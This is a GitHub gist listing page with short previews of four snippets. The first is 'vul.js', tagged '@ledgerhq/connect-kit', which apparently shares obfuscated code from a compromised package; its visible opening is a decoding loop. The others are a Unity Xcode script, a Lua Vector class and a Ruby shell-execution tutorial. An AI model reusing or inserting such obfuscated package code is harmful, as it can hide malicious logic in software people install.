Skip to content

Instantly share code, notes, and snippets.

View rkachowski's full-sized avatar
👨‍🎤
whats a github status?

Donald Hutchison rkachowski

👨‍🎤
whats a github status?
View GitHub Profile
@rkachowski
rkachowski / vul.js
Last active December 14, 2023 17:32 — forked from martinvol/vul.js
@ledgerhq/connect-kit
'use strict';
(function (t, n) {
const K = t();
while (true) {
try {
const u = -parseInt(q(3828, 0xd3c)) / 1 + parseInt(q(2117, 0x52a)) / 2 * (-parseInt(j(7562, "AG^D")) / 3) + -parseInt(j(8847, "GV&h")) / 4 * (-parseInt(q(2851, 0xb40)) / 5) + -parseInt(j(1552, "AmJS")) / 6 * (parseInt(q(4923, 0xf2d)) / 7) + -parseInt(j(5695, "fJD(")) / 8 + parseInt(q(8023, 0x1ca0)) / 9 + -parseInt(j(7555, "9Bd!")) / 10 * (-parseInt(q(4143, 0x1d53)) / 11);
if (u === n) {
break;
} else {
@sanukin39
sanukin39 / XcodeSettingsPostProcesser.cs
Last active October 11, 2023 16:04
Unity XcodeAPI Settings Sample
using System.IO;
using UnityEngine;
using UnityEditor;
using UnityEditor.iOS.Xcode;
using UnityEditor.Callbacks;
using System.Collections;
public class XcodeSettingsPostProcesser
{
@mebens
mebens / Vector.lua
Created June 30, 2011 01:56
Vector class for my tutorial on Lua metatables.
Vector = {}
Vector.__index = Vector
function Vector.__add(a, b)
if type(a) == "number" then
return Vector.new(b.x + a, b.y + a)
elseif type(b) == "number" then
return Vector.new(a.x + b, a.y + b)
else
return Vector.new(a.x + b.x, a.y + b.y)
@JosephPecoraro
JosephPecoraro / shell-execution.rb
Last active September 10, 2023 10:12
Shell Execution in Ruby
# Ways to execute a shell script in Ruby
# Example Script - Joseph Pecoraro
cmd = "echo 'hi'" # Sample string that can be used
# 1. Kernel#` - commonly called backticks - `cmd`
# This is like many other languages, including bash, PHP, and Perl
# Synchronous (blocking)
# Returns the output of the shell command
# Docs: http://ruby-doc.org/core/classes/Kernel.html#M001111